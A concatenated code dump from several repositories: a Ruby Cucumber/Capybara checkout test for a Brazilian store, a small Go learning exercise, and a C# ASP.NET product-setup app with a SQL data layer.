PAGAMENTO]============================ element :pagamento_boleto_botao, "li.boleto" element :pagamento_continuar_botao, "input[id='btPagBoleto']" element :pagamento_confirmacao_botao, "button[id='btFinalizarCompra']" def cadastro_usuario_checkout(nome, cpf, ddd1, telefone1, ddd2, telefone2, nascimentoDia, nascimentoMes, nascimentoAno, email, senha) cadastro_nome_texto.set nome cadastro_cpf_texto.set cpf cadastro_ddd_telefone1_texto.set ddd1 cadastro_telefone1_texto.set telefone1 cadastro_ddd_telefone2_texto.set ddd2 cadastro_telefone2_texto.set telefone2 cadastro_nascimento_dia_texto.set nascimentoDia cadastro_nascimento_mes_texto.set nascimentoMes cadastro_nascimento_ano_texto.set nascimentoAno cadastro_email_texto.set email cadastro_confirmacao_email_texto.set email cadastro_senha_texto.set senha cadastro_confirmacao_senha_texto.set senha cadastro_usuario_botao.click end def cadastro_endereco_checkout(cep, nome, destinatario, rua, complemento, bairro, municipio, pontoreferencia, numero) endereco_cep_texto.set cep endereco_nome_texto.set nome endereco_destinatario_texto.set destinatario #endereco_rua_texto.set rua endereco_complemento_texto.set complemento #endereco_bairro_texto.set bairro #endereco_municipio_texto.set municipio #cadastro_estado_texto.set estado endereco_pontoreferencia_texto.set pontoreferencia endereco_numero_texto.set numero endereco_salvar_botao.click end end<file_sep>/features/support/load_data.rb require 'faker' require 'cpf_faker' module LoadData class DadosUsuario def cadastro_usuario_checkout return { :nome => Faker::Name.name, :cpf => Faker::CPF.numeric, :ddd_telefone1 => "11", :telefone1 => "54329876", :ddd_telefone2 => "11", :telefone2 => "987654321", #aqui cabe melhorias, se randomicamente cair 30/02 o teste trava :nascimentoDia => Faker::Number.between(from = 01, to = 30), :nascimentoMes => Faker::Number.between(from = 01, to = 12), :nascimentoAno => Faker::Number.between(from = 1950, to = 1995), :email => Faker::Internet.email, :senha => "<PASSWORD>" } end def cadastro_endereco_checkout return { :cep => "04348030", :nome => Faker::Name.name, :destinatario => Faker::Name.name, #:rua => "Rua teste", :complemento => "apto 123", #:bairro => "Jabaquara", #:municipio => "Sao Paulo", #:estado => "" :pontoreferencia => "Teste", :numero => 1000 } end end end <file_sep>/features/support/env.rb require 'rspec' require 'site_prism' require 'cucumber' require 'pry' require 'faker' require 'selenium-webdriver' require 'capybara' require 'capybara/cucumber' #require 'chromedrive' Capybara.register_driver :chrome do |app| Capybara::Selenium::Driver.new(app, :browser => :chrome) end Capybara.default_driver = :chrome Capybara.default_max_wait_time = 15 <file_sep>/features/step_definitions/compra_vitrine_steps.rb include LoadData Dado(/^que estou acessando a pagina do produto eu clico em comprar$/) do Produto.new.load end Entao(/^digito o CEP e calculo o frete validando as opções de envio$/) do @calcularfrete = Produto.new @calcularfrete.calcular_frete_texto.set "04348030" @calcularfrete.calcular_frete_botao.click expect(@calcularfrete.envio_superexpressa_texto.text).to eq("Super Expressa") expect(@calcularfrete.envio_expressa_texto.text).to eq("Expressa") expect(@calcularfrete.envio_retirafacil_texto.text).to eq("Retira Fácil") expect(@calcularfrete.envio_normal_texto.text).to eq("Normal") expect(@calcularfrete.envio_agendada_texto.text).to eq("Agendada") end Entao(/^continuo com o processo de checkout$/) do #find("div#netotiate-arena-place-offer div.close-arena-wrapp").click Produto.new.comprar_produto_botao.click page.driver.browser.switch_to.alert.accept Produto.new.garantia_page_botao.click page.first('div.concluirCompra a').click end Entao(/^cadastrar usuario para continuar$/) do Checkout.new.nao_cadastrado_checkbox.click Checkout.new.nao_cadastrado_botao.click #Inicia o preenchimento do cadastro do usuario @cadastro_usuario=DadosUsuario.new.cadastro_usuario_checkout Checkout.new.cadastro_usuario_checkout( @cadastro_usuario[:nome], @cadastro_usuario[:cpf], @cadastro_usuario[:ddd_telefone1], @cadastro_usuario[:telefone1], @cadastro_usuario[:ddd_telefone2], @cadastro_usuario[:telefone2], @cadastro_usuario[:nascimentoDia], @cadastro_usuario[:nascimentoMes], @cadastro_usuario[:nascimentoAno], @cadastro_usuario[:email], @cadastro_usuario[:senha] ) Checkout.new.cadastro_sexo_checkbox.click Checkout.new.cadastro_usuario_botao.click #Inicia o preenchimento do cadastro do endereço @cadastro_endereco=DadosUsuario.new.cadastro_endereco_checkout Checkout.new.cadastro_endereco_checkout( @cadastro_endereco[:cep], @cadastro_endereco[:nome], @cadastro_endereco[:destinatario], @cadastro_endereco[:rua], @cadastro_endereco[:complemento], @cadastro_endereco[:bairro], @cadastro_endereco[:municipio], #@cadastro_endereco[:estado], @cadastro_endereco[:pontoreferencia], @cadastro_endereco[:numero] ) Checkout.new.endereco_salvar_botao.click expect(Checkout.new.endereco_cadastro_confirmacao_texto.text).to eq("Destinatário: #{@cadastro_endereco[:destinatario]}") Checkout.new.endereco_tipoentrega_checkbox.click Checkout.new.endereco_tipoentrega_botao.click end Entao(/^Escolher boleto como forma de pagamento$/) do Checkout.new.pagamento_boleto_botao.click assert_text('Pague com Boleto Bancário') Checkout.new.pagamento_continuar_botao.click assert_text('Revisão') Checkout.new.pagamento_confirmacao_botao.click end Entao(/^finalizo a compra$/) do assert_text('Obrigado por comprar no Extra.com.br') end
184ccb8013e6ae6f0ac60068a8e4a6fc111bae0c
[ "Ruby" ]
5
Ruby
eduardofaim/extra
5ae8ce4917310e4ad147bb82524264fd10ca0cfa
8bf67cd69fcc3786ac28e8cdfee576dac4cc1b98
refs/heads/master
<file_sep>package main import ( "fmt" "runtime" ) func main() { echo("Hello World!") } func echo(words string) { fmt.Println(words, runtime.GOOS) } <file_sep># Go Fundamentals Tracking my progress through the Pluralsight Go Fundamentals course.<file_sep>package main import "fmt" var ( state string gpa float32 ) func main() { name := "Will" course := "Fundamentals" fmt.Println(name, "is enrolled in", course) // & references the variable's spot in memory (a pointer) changeCourseToLearningPointers(&course) fmt.Println(name, "is now enrolled in", course) } // * dereferences the pointer func changeCourseToLearningPointers(course *string) string { *course = "Learning Pointers" fmt.Println("Attempting to changing your course to", *course) return *course }
612940955d143633ebeed84e4be4eb002c012eaa
[ "Markdown", "Go" ]
3
Go
wbroberts/go-fundamentals-pluralsight
be3ddacbc0ae543d5440d43f79f6b34f2ad3e082
f06d6970720f3d0198dc5975860743037cc20ccd
refs/heads/master
<file_sep>package com.veri5.backend.developer_assignment.Deck.Utility; public class Constants { public static final int CARDS_IN_DECK = 52; public static final int ZERO = 0; public static final int ONE = 1; } <file_sep>package com.veri5.backend.developer_assignment; import org.junit.jupiter.api.Test; import org.springframework.boot.test.context.SpringBootTest; @SpringBootTest class DeveloperAssignmentApplicationTests { @Test void contextLoads() { } } <file_sep>package com.veri5.backend.developer_assignment.Deck; import javax.persistence.Entity; import javax.persistence.Id; @Entity public class Card{ public Card() { } public enum Value{ ACE, TWO, THREE, FOUR, FIVE, SIX, SEVEN, EIGHT, NINE, TEN, JACK, QUEEN, KING; @Override public String toString() { return super.toString(); } } public enum Suit { SPADES, HEARTS, CLUBS, DIAMONDS; @Override public String toString() { return super.toString(); } } public String getId() { return id; } public void setId(String id) { this.id = id; } public String getValue() { return value.toString(); } public void setValue(Value value) { this.value = value; } public String getSuit() { return suit.toString(); } public void setSuit(Suit suit) { this.suit = suit; } @Id private String id; private Value value; private Suit suit; public Card(Value value, Suit suit){ this.value = value; this.suit = suit; } @Override public String toString() { return value + " of " + suit; } } <file_sep>package com.veri5.backend.developer_assignment.Deck.DeckExceptions; public class PlayersNotFoundException extends Exception { public PlayersNotFoundException(){ super(); } } <file_sep>package com.veri5.backend.developer_assignment.Deck; import com.veri5.backend.developer_assignment.Deck.DeckExceptions.NumberOfCardsNotMentionedException; import com.veri5.backend.developer_assignment.Deck.Utility.Constants; import java.util.ArrayList; import java.util.Collections; import java.util.List; import java.util.Random; public class CardDeck{ private static final List<Card> demoDeck = new ArrayList<>(); //Initialize the demo deck with all the card value and suits static { for (Card.Suit eachSuit : Card.Suit.values()){ for (Card.Value eachValue : Card.Value.values()){ demoDeck.add(new Card(eachValue, eachSuit)); } } } public static List<Card> newDeck(){ return new ArrayList<>(demoDeck); } //Shuffle all the cards public static void shuffle(List<Card> myDeck){ if(myDeck != null && myDeck.size() == Constants.CARDS_IN_DECK) { Collections.shuffle(myDeck); }else{ myDeck = CardDeck.newDeck(); Collections.shuffle(myDeck); } } //Method to print all the cards public static void print(List<Card> myDeck){ if(myDeck != null && myDeck.size() > 0 && myDeck.size() <= Constants.CARDS_IN_DECK) { for (int i=0; i<myDeck.size(); i++){ System.out.println(i+". "+myDeck.get(i).toString()); } } } public static Card getOneCard(List<Card> myDeck) { Card card = null; try { card = CardDeck.getCards(Constants.ONE, myDeck).get(Constants.ZERO); } catch (NumberOfCardsNotMentionedException e) { System.out.println(e.toString()); } return card; } //Gives specified cards at random and removes the picked cards from the Deck public static List<Card> getCards(int numberOfCards, List<Card> myDeck) throws NumberOfCardsNotMentionedException { CardDeck.shuffle(myDeck); List<Card> pickedCards = new ArrayList<>(); if(numberOfCards == Constants.ONE){ Card pickedCard = myDeck.get(Constants.ZERO); pickedCards.add(pickedCard); myDeck.remove(pickedCard); return pickedCards; } if(numberOfCards > Constants.ZERO && numberOfCards < Constants.CARDS_IN_DECK) { Random rand = new Random(); for (int i = Constants.ZERO; i < numberOfCards; i++) { Card selectedCard = myDeck.get(rand.nextInt(Constants.CARDS_IN_DECK - i)); pickedCards.add(selectedCard); myDeck.remove(selectedCard); } }else { throw new NumberOfCardsNotMentionedException("Invalid number of cards provided"); } return pickedCards; } //Method to add a card to the deck public static boolean addOneCard(Card card, List<Card> myDeck){ List<Card> toAddCards = new ArrayList<>(); if(card != null) { toAddCards.add(card); } return addCardsToDeck(toAddCards, myDeck); } //Method to add multiple cards to deck public static boolean addCardsToDeck(List<Card> toAddCards, List<Card> myDeck){ if(toAddCards != null && toAddCards.size()>0 && (toAddCards.size() + myDeck.size() <= Constants.CARDS_IN_DECK)){ for(Card eachCard : toAddCards){ if(!myDeck.contains(eachCard)){ myDeck.add(eachCard); } } }else{ return false; } return true; } }
c649ceaaf065d7073bc8fdec7a4a635e08445d59
[ "Java" ]
5
Java
arshdev7/veri5_dev_assignment
b5a2db85395a6b60c1bec4f0f527e19aee197cc1
60d496a7a902523f6bc75c9062e29d7c6eece978
refs/heads/master
<file_sep>====== README ====== View History ============ This is an Odoo module which allows to keep a history of changes in the arch of a view. This will allow to keep a different versions of the views available, so it could be used to prototype, easily restore changes, etc... This could be specially useful for Odoo form and tree views, reports and websites. Here are some keys to understand the way it works: - In the ir.ui.view model, we have a boolean field (enable_history) which allow us to activate this functionality for a view (from the user interface). - The create and write methods of ir.ui.view are extended, so they create new versions (ir.ui.view.version) with the changes on arch field when the enable_history flag is activated. - Versions are listed in the ir.ui.view form view in a separate tab. - The current_version field indicates which version is used for the standard actions (like retrieving the arch field when rendering a view). The read and render methods are extended with this purpose. - When changes are made, those are not automatically “activated”, but store, lets say, as draft. To “activate” this changes, one needs to manually set the respective version as “current”. This could be done selection one version from the list of versions. Notes: - All changes are made over the latest version. - Every time there is a change or a version is selected (except when selecting the latest version) a new version is created - All changes are store using the complete arch field. We considered using other approach (like saving only the differences), but: - it makes the implementation more complex - could face performance issues (a lot of recursive calls to compute a view) - if the goal is to save space, it does not work well on all cases (when changing most of the content) - We do not handle the case of changing of inherit views, i.e. if a ir.ui.view has enable_history activated, changes on inherited view are not detected. <file_sep># -*- coding: utf-8 -*- from openerp import _, api, fields, models, exceptions class IrUiView(models.Model): _inherit = "ir.ui.view" enable_history = fields.Boolean( 'Enable History' ) versions = fields.One2many( 'ir.ui.view.version', 'view', 'Versions' ) # current_version is the version of the view that will be rendered # do not confuse with the latest version current_version = fields.Many2one( 'ir.ui.view.version', 'Versions', copy=False ) @api.constrains('enable_history') def _enable_history_check(self): """ Only allow to enable history for views without inherited views TODO: Handle the case of inherited views :return: """ if self.enable_history: inherited_views = self.search([ ('inherit_id', '=', self.id) ]) if inherited_views: raise exceptions.ValidationError(_( "You can not enable history for (ir.ui.views) records " "with inherited views created." )) @api.multi def write(self, values): """ Redefining the write method to create a new version when changes are made in the arch :param values: :return: """ res = super(IrUiView, self).write(values) if not self.env.context.get('avoid_version'): if 'enable_history' in values or 'arch' in values: for record in self: if record.enable_history: arch = values.get('arch', record.arch) version = self.env['ir.ui.view.version'].create({ 'view': record.id, 'arch': arch }) if len(record.versions) == 1: version.set_current() return res @api.model def create(self, vals): res = super(IrUiView, self).create(vals) if vals.get('enable_history'): version = self.env['ir.ui.view.version'].create({ 'view': res.id, 'arch': res['arch'], }) version.set_current() return res @api.cr_uid_ids_context def render(self, cr, uid, id_or_xml_id, values=None, engine='ir.qweb', context=None): """ Set context variable to render current version, not the latest one which is the default behaviour :param cr: :param uid: :param id_or_xml_id: :param values: :param engine: :param context: :return: """ context = context or {} if 'render_version' not in context: context['render_version'] = True return super(IrUiView, self).render(cr, uid, id_or_xml_id, values=values, engine=engine, context=context) @api.cr_uid_ids_context def read(self, cr, uid, ids, fields=None, context={}, load='_classic_read'): """ Reading a view: - if the variable render_version in context is an integer, then get the arch of the specified version - if the variable render_version in context is True, then get the arch of the current version - else get the normal arch :param cr: :param uid: :param ids: :param fields: :param context: :param load: :return: """ result = super(IrUiView, self).read( cr, uid, ids, fields=fields, context=context, load=load ) if fields and 'arch' in fields and 'render_version' in context: render_version = context['render_version'] for res in result: view = self.browse(cr, uid, res['id']) if view.enable_history and view.versions: if isinstance(render_version, bool): if render_version: res['arch'] = view.current_version.arch elif isinstance(render_version, int): version = view.versions.filtered( lambda rec: rec.id == render_version ) if version: res['arch'] = version.arch return result class IrUiViewVersion(models.Model): _name = 'ir.ui.view.version' name = fields.Char('Name') view = fields.Many2one('ir.ui.view', 'View', required=True) arch = fields.Text('Arch') # sequence is an incremental sequence value to use it for # version names: v1, v2, ... sequence = fields.Integer('Sequence') # if current is True, it means that is used as current_version # of a view current = fields.Boolean('Current', compute='_is_current') _order = 'id desc' def _is_current(self): for rec in self: rec.current = rec.view.current_version.id == rec.id def create(self, vals): view = self.env['ir.ui.view'].browse(vals['view']) if 'sequence' not in vals: sequence = 0 if view.versions: sequence = view.versions[0].sequence + 1 vals['sequence'] = sequence if 'name' not in vals: vals['name'] = '%s v%s' % (view.name, vals['sequence']) return super(IrUiViewVersion, self).create(vals) @api.multi def set_current(self): """ Set a version as current. - If the version is the latest one, just set as current. - Otherwise, create a new version and set it as current. :return: """ self.ensure_one() view_values = {} last_version = self.view.versions[0] if self.id == last_version.id: view_values.update({ 'current_version': last_version.id }) else: current_version = self.create({ 'view': self.view.id, 'arch': self.arch, }) view_values.update({ 'arch': self.arch, 'current_version': current_version.id }) # avoid_version is set because we don't want to trigger the creation # of a new version when updating the view self.with_context(avoid_version=True).view.write(view_values) <file_sep># -*- coding: utf-8 -*- ############################################################################## # # Odoo, an open source suite of business apps # This module copyright (C) 2015 bloopark systems (<http://bloopark.de>). # # This program is free software: you can redistribute it and/or modify # it under the terms of the GNU Affero General Public License as # published by the Free Software Foundation, either version 3 of the # License, or (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU Affero General Public License for more details. # # You should have received a copy of the GNU Affero General Public License # along with this program. If not, see <http://www.gnu.org/licenses/>. # ############################################################################## from openerp.tests import common TEST_ARCH = """<?xml version="1.0"?> <tree string="List"> <div> Content </div> </tree> """ class TestViewHistory(common.TransactionCase): at_install = False post_install = True def setUp(self): super(TestViewHistory, self).setUp() self.test_view = self.env['ir.ui.view'].create({ 'name': 'test view', 'arch': TEST_ARCH, 'type': 'qweb', }) self.arch1 = TEST_ARCH.replace('Content', 'Content 1') self.arch2 = TEST_ARCH.replace('Content', 'Content 2') self.arch3 = TEST_ARCH.replace('Content', 'Content 3') def test_00_new_version_after_write(self): """ --- Test that a new version is created after write. """ self.test_view.write({ 'arch': self.arch1 }) # No versions are created when enable_history is False self.assertEqual(len(self.test_view.versions), 0) self.test_view.write({ 'arch': self.arch2, 'enable_history': True }) # one version is created when activating enable_history self.assertEqual(len(self.test_view.versions), 1) # version sequence is 0 # and its content is the changed one # is the current one version = self.test_view.versions[0] self.assertEqual(version.sequence, 0) self.assertEqual(version.arch, self.arch2) self.assertTrue(version.current) def test_01_current_functionality(self): """ --- Test set current functionality, set latest as current""" self.assertEqual(len(self.test_view.versions), 0) self.test_view.write({ 'arch': self.arch1, 'enable_history': True }) self.assertEqual(len(self.test_view.versions), 1) self.test_view.write({ 'arch': self.arch2, }) self.assertEqual(len(self.test_view.versions), 2) oldest = self.test_view.versions[1] self.assertEqual(oldest.sequence, 0) self.assertTrue( 'v0' in oldest.name ) self.assertEqual(oldest.arch, self.arch1) self.assertTrue(oldest.current) latest = self.test_view.versions[0] self.assertEqual(latest.sequence, 1) self.assertTrue( 'v1' in latest.name ) self.assertEqual(latest.arch, self.arch2) self.assertTrue(not latest.current) self.assertEqual( self.test_view.current_version.id, oldest.id ) latest.set_current() self.assertEqual( self.test_view.current_version.id, latest.id ) def test_02_current_functionality(self): """ --- Test set current functionality, not latest as current""" self.assertEqual(len(self.test_view.versions), 0) self.test_view.write({ 'arch': self.arch1, 'enable_history': True }) self.test_view.write({ 'arch': self.arch2, }) self.test_view.write({ 'arch': self.arch3, }) self.assertEqual(len(self.test_view.versions), 3) middle = self.test_view.versions[1] middle.set_current() # A new version is created self.assertEqual(len(self.test_view.versions), 4) latest = self.test_view.versions[0] self.assertEqual( self.test_view.current_version.id, latest.id ) self.assertEqual(latest.arch, self.arch2) def test_03_read_current_version(self): """ Testing the read method with the version option""" self.test_view.write({ 'arch': self.arch1, 'enable_history': True }) self.test_view.write({ 'arch': self.arch2, }) self.test_view.write({ 'arch': self.arch3, }) latest = self.test_view.versions[0] middle = self.test_view.versions[1] active = self.test_view.versions[2] # A normal read returns the latest version of the arch res = self.registry.get('ir.ui.view').read( self.env.cr, self.env.uid, [self.test_view.id], ['arch'])[0] self.assertEqual( res['arch'], latest.arch ) # When called with render_version=True, # read returns the arch the active version of res = self.registry.get('ir.ui.view').read( self.env.cr, self.env.uid, [self.test_view.id], ['arch'], context={'render_version': True})[0] self.assertEqual( res['arch'], active.arch ) # When called with render_version=specific version id, # read returns the arc of the specific version res = self.registry.get('ir.ui.view').read( self.env.cr, self.env.uid, [self.test_view.id], ['arch'], context={'render_version': middle.id})[0] self.assertEqual( res['arch'], middle.arch ) <file_sep># -*- coding: utf-8 -*- { 'name': 'View History', 'category': 'Base', 'summary': 'Keep a history of changes in views', 'version': '1.0.0', 'author': "bloopark systems GmbH & Co. KG", 'website': "http://www.bloopark.de", 'depends': ['base'], 'data': [ 'views/ir_ui_view.xml', 'security/ir.model.access.csv', ] }
eca19f3e8da55a64b2a2275880c32db365b0021b
[ "Python", "reStructuredText" ]
4
reStructuredText
blooparksystems/view_history
e8e1b4754b630cca307de9c842354d3c76ab64d3
bc92b8202977121c26beb900c060d270c080fab0
refs/heads/master
<repo_name>marks37/fmp<file_sep>/App_Code/clsUL_Item.cs using System; using System.Collections.Generic; using System.Linq; using System.Web; /// <summary> /// Summary description for clsUL_Item /// </summary> public class clsUL_Item { public string id { get; set; } public string itemCode { get; set; } public string itemName { get; set; } public string baseTag { get; set; } public string classification { get; set; } public string class1 { get; set; } public string divisionCode { get; set; } public string divisionName { get; set; } public string gluClusterCode { get; set; } public string gluClusterName { get; set; } public string gluSubGroup { get; set; } public string gluCode { get; set; } public string gluName { get; set; } public string categoryCode { get; set; } public string categoryName { get; set; } public string subBrandCode { get; set; } public string subBrandName { get; set; } public string brandCode { get; set; } public string brandName { get; set; } public string franchiseCode { get; set; } public string franchiseName { get; set; } public string segmentCode { get; set; } public string segmentName { get; set; } public string subSegmentCode { get; set; } public string moleculeCode { get; set; } public string moleculeName { get; set; } public string clusterCode { get; set; } public string clusterName { get; set; } public string itemStatus { get; set; } public string itemStatusName { get; set; } public string className { get; set; } public string lineName { get; set; } public clsUL_Item() { // // TODO: Add constructor logic here // } }<file_sep>/newproduct_setup.aspx.cs using System; using System.Collections.Generic; using System.Configuration; using System.Linq; using System.Web; using System.Web.UI; using System.Web.UI.WebControls; public partial class newproduct_setup : System.Web.UI.Page { static clsDBLayer DBLayer = new clsDBLayer(ConfigurationManager.ConnectionStrings["SaturationDB"].ToString()); private clsUser user; protected void Page_Load(object sender, EventArgs e) { user = (clsUser)Session["user"]; if (user == null) { Response.Redirect("~/Site_Login.aspx"); Session.Clear(); } if (!IsPostBack) { this.DataBind(); } InitializeDropdown(); } protected void newProdSetupRptr_ItemDataBound(object sender, RepeaterItemEventArgs e) { //if (e.Item.ItemType == ListItemType.Item || e.Item.ItemType == ListItemType.AlternatingItem) //{ // clsAccountGroup newProdAcctGrpList = (clsAccountGroup)e.Item.DataItem; // Label pipelineLbl = (Label)e.Item.FindControl("ProdpipelineDate"); // pipelineLbl.Text = DateTime.Parse(newProdAcctGrpList.pipeline_period).ToString("MM.dd.yyyy"); // Label saturationLbl = (Label)e.Item.FindControl("ProdsaturationDate"); // saturationLbl.Text = DateTime.Parse(newProdAcctGrpList.saturation_period).ToString("MM.dd.yyyy"); //} } protected void newProdSetupRptr_ItemCommand(object source, RepeaterCommandEventArgs e) { if (e.CommandName.Equals("view")) { string newProd_id = (string)e.CommandArgument; Response.Redirect("newproduct_view?NewProductDetails=" + newProd_id); } } protected void btnSubmitNewProd_OnClick(object sender, EventArgs e) { //clsNewProduct newProd = new clsNewProduct(); ////newProd.itemCode = tbItemCode.Text; ////newProd.itemName = tbItemName.Text; //newProd.glu = tbGlu.Text; ////newProd.description = tbDescription.Text; //newProd.uom = tbUom.Text; //newProd.priceNet = tbPriceNet.Text; //newProd.productDivision = tbProdDivision.Text ; //newProd.createdAt = DBLayer.GetCurrentTime().ToString(); //newProd.createdBy = user.Id; //string newProd_Id = DBLayer.addNewProduct(newProd); //DBLayer.addNewProductChannel(newProd_Id); //this.DataBind(); //ScriptManager.RegisterStartupScript(this.Page, this.GetType(), "script", "closeModal();", true); } public override void DataBind() { List<clsNewProduct> NewProductlist = DBLayer.getNewProduct(); newProdSetupRptr.DataSource = NewProductlist; newProdSetupRptr.DataBind(); } public void InitializeDropdown() { List<clsUL_Item> UL_items = DBLayer.getUL_Items(); RptNewProductSelection.DataSource = UL_items; RptNewProductSelection.DataBind(); } protected void RptNewProductSelection_ItemDataBound(object sender, RepeaterItemEventArgs e) { //if (e.Item.ItemType == ListItemType.Item || e.Item.ItemType == ListItemType.AlternatingItem) //{ // clsAccountGroup newProdAcctGrpList = (clsAccountGroup)e.Item.DataItem; // Label pipelineLbl = (Label)e.Item.FindControl("ProdpipelineDate"); // pipelineLbl.Text = DateTime.Parse(newProdAcctGrpList.pipeline_period).ToString("MM.dd.yyyy"); // Label saturationLbl = (Label)e.Item.FindControl("ProdsaturationDate"); // saturationLbl.Text = DateTime.Parse(newProdAcctGrpList.saturation_period).ToString("MM.dd.yyyy"); //} } protected void RptNewProductSelection_ItemCommand(object source, RepeaterCommandEventArgs e) { //if (e.CommandName.Equals("view")) //{ // string newProd_id = (string)e.CommandArgument; // Response.Redirect("newproduct_view?NewProductDetails=" + newProd_id); //} } [System.Web.Services.WebMethod(EnableSession = true)] public static string SubmitNewProductSetup(string newprodId, string newprodPrice, string newprodUom,string newprodRemarks) { clsUser userId = (clsUser)HttpContext.Current.Session["user"]; clsNewProduct newProd = new clsNewProduct(); newProd.ul_item_id = newprodId; newProd.uom = newprodUom; newProd.remarks = newprodRemarks; newProd.priceNet = newprodPrice; newProd.createdAt = DBLayer.GetCurrentTime().ToString(); newProd.createdBy = userId.Id; string newProd_Id = DBLayer.addNewProduct(newProd); DBLayer.addNewProductChannel(newProd_Id); return "newproduct_view?NewProductDetails=" + newProd_Id; } }<file_sep>/App_Code/clsUser.cs using System; using System.Collections.Generic; using System.Linq; using System.Web; /// <summary> /// Summary description for clsUser /// </summary> public class clsUser { private string id; public string Id { get { return id; } set { id = value; } } private string username; public string Username { get { return username; } set { username = value; } } private string password; public string Password { get { return password; } set { password = value; } } private string firstname; private string fullname; public string Fullname { get { return fullname; } set { fullname = value; } } public string Firstname { get { return firstname; } set { firstname = value; } } private string middleName; public string MiddleName { get { return middleName; } set { middleName = value; } } private string lastname; public string Lastname { get { return lastname; } set { lastname = value; } } private int isActive; public int IsActive { get { return isActive; } set { isActive = value; } } private string email; public string Email { get { return email; } set { email = value; } } private string type; public string Type { get { return type; } set { type = value; } } private string area; public string Area { get { return area; } set { area = value; } } private string company; public string Company { get { return company; } set { company = value; } } public clsUser() { // // TODO: Add constructor logic here // } } public class clsUser_Channel { public string id { get; set; } public string user_id { get;set; } public string channel { get; set; } public clsUser_Channel() { } }<file_sep>/App_Code/clsDBLayer.cs using System; using System.Collections.Generic; using System.Data; using System.Data.SqlClient; using System.Linq; using System.Web; /// <summary> /// Summary description for clsDBLayer /// </summary> public class clsDBLayer { private string gConnString; public clsDBLayer(string strConn) { gConnString = strConn; } public clsDBLayer() { // // TODO: Add constructor logic here // } public DateTime GetCurrentTime() { DateTime serverTime = DateTime.Now; DateTime _localTime = TimeZoneInfo.ConvertTimeBySystemTimeZoneId(serverTime, TimeZoneInfo.Local.Id, "Singapore Standard Time"); return _localTime; } public void addNewActivityLog(clsActivityLog log) { SqlConnection myConnection = new SqlConnection(); SqlCommand myCommand = new SqlCommand(); myConnection.ConnectionString = gConnString; myCommand.Connection = myConnection; myCommand.CommandType = System.Data.CommandType.Text; myCommand.CommandText = @"INSERT INTO [dbo].[Data_User_Activity_Log] ([username] ,[pageUrl] ,[activity] ,[dateCreated]) VALUES (@username ,@pageUrl ,@activity ,@dateCreated)"; myCommand.Parameters.Add("@username", System.Data.SqlDbType.NVarChar); myCommand.Parameters.Add("@pageUrl", System.Data.SqlDbType.NVarChar); myCommand.Parameters.Add("@activity", System.Data.SqlDbType.NVarChar); myCommand.Parameters.Add("@dateCreated", System.Data.SqlDbType.NVarChar); myCommand.Parameters["@username"].Value = log.Username; myCommand.Parameters["@pageUrl"].Value = log.PageUrl; myCommand.Parameters["@activity"].Value = log.Activity; myCommand.Parameters["@dateCreated"].Value = log.DateCreated; try { myConnection.Open(); myCommand.ExecuteNonQuery(); } catch (Exception objExp) { throw objExp; } finally { if (myConnection != null && myConnection.State != System.Data.ConnectionState.Closed) { myConnection.Close(); } } } public clsUser validateUser(string username, string password) { clsUser user = new clsUser(); SqlConnection myConnection = new SqlConnection(); SqlCommand myCommand = new SqlCommand(); myConnection.ConnectionString = gConnString; myCommand.Connection = myConnection; myCommand.CommandType = System.Data.CommandType.Text; myCommand.CommandText = @"SELECT * FROM [Saturation_Database].[dbo].[Ref_User] WHERE [username] = @username AND [password] = <PASSWORD>"; myCommand.Parameters.Add("@username", System.Data.SqlDbType.VarChar); myCommand.Parameters["@username"].Value = username; myCommand.Parameters.Add("@password", System.Data.SqlDbType.VarChar); myCommand.Parameters["@password"].Value = <PASSWORD>; try { myConnection.Open(); SqlDataReader myReader = myCommand.ExecuteReader(); while (myReader.Read()) { user.Id = (myReader["id"] == null) ? string.Empty : myReader["id"].ToString(); user.Username = (myReader["username"] == null) ? string.Empty : myReader["username"].ToString(); user.Password = (myReader["password"] == null) ? string.Empty : myReader["password"].ToString(); user.Fullname = (myReader["fullname"] == null) ? string.Empty : myReader["fullname"].ToString(); user.Firstname = (myReader["firstname"] == null) ? string.Empty : myReader["firstname"].ToString(); user.MiddleName = (myReader["middle"] == null) ? string.Empty : myReader["middle"].ToString(); user.Lastname = (myReader["lastname"] == null) ? string.Empty : myReader["lastname"].ToString(); user.Type = (myReader["type"] == null) ? string.Empty : myReader["type"].ToString(); } myReader.Close(); } catch (Exception objExp) { throw objExp; } finally { if (myConnection != null && myConnection.State != System.Data.ConnectionState.Closed) { myConnection.Close(); } } return user; } public List<clsUser> getAllUsers() { List<clsUser> users = new List<clsUser>(); SqlConnection myConnection = new SqlConnection(); SqlCommand myCommand = new SqlCommand(); myConnection.ConnectionString = gConnString; myCommand.Connection = myConnection; myCommand.CommandType = System.Data.CommandType.Text; myCommand.CommandText = ("SELECT TOP 1000 [id] " + ",[username] " + ",[password] " + ",[firstname] " + ",[lastname] " + ",[type] " + ",[area] " + ",[is_active] " + ",[email] " + "FROM [visibility_system_database].[dbo].[Ref_User]"); try { myConnection.Open(); SqlDataReader myReader = myCommand.ExecuteReader(); while (myReader.Read()) { clsUser user = new clsUser(); user.Id = (myReader["id"] == null) ? string.Empty : myReader["id"].ToString(); user.Firstname = (myReader["firstname"] == null) ? string.Empty : myReader["firstname"].ToString(); user.Password = (myReader["password"] == null) ? string.Empty : myReader["password"].ToString(); user.Username = (myReader["username"] == null) ? string.Empty : myReader["username"].ToString(); user.Type = (myReader["type"] == null) ? string.Empty : myReader["type"].ToString(); user.Username = (myReader["area"] == null) ? string.Empty : myReader["area"].ToString(); user.Username = (myReader["is_active"] == null) ? string.Empty : myReader["is_active"].ToString(); user.Username = (myReader["email"] == null) ? string.Empty : myReader["email"].ToString(); users.Add(user); } myReader.Close(); } catch (Exception objExp) { throw objExp; } finally { if (myConnection != null && myConnection.State != System.Data.ConnectionState.Closed) { myConnection.Close(); } } return users; } // public clsBranch getBranchById(string branchId) // { // clsBranch branch = new clsBranch(); // SqlConnection myConnection = new SqlConnection(); // SqlCommand myCommand = new SqlCommand(); // myConnection.ConnectionString = gConnString; // myCommand.Connection = myConnection; // myCommand.CommandType = System.Data.CommandType.Text; // myCommand.CommandText = @"SELECT TOP 1000 [id] // ,[branch_code] // ,[branch_name] // ,[branch_address] // ,[account_group_1] // ,[account_group_2] // ,[channel] // ,[team] // ,[sales_rep_name] // ,[sales_rep_code] // ,[ul_account_code] // ,[account_code] // ,[remarks] // ,[team_leader] // ,[cds] // FROM [visibility_system_database].[dbo].[Ref_Branch] // 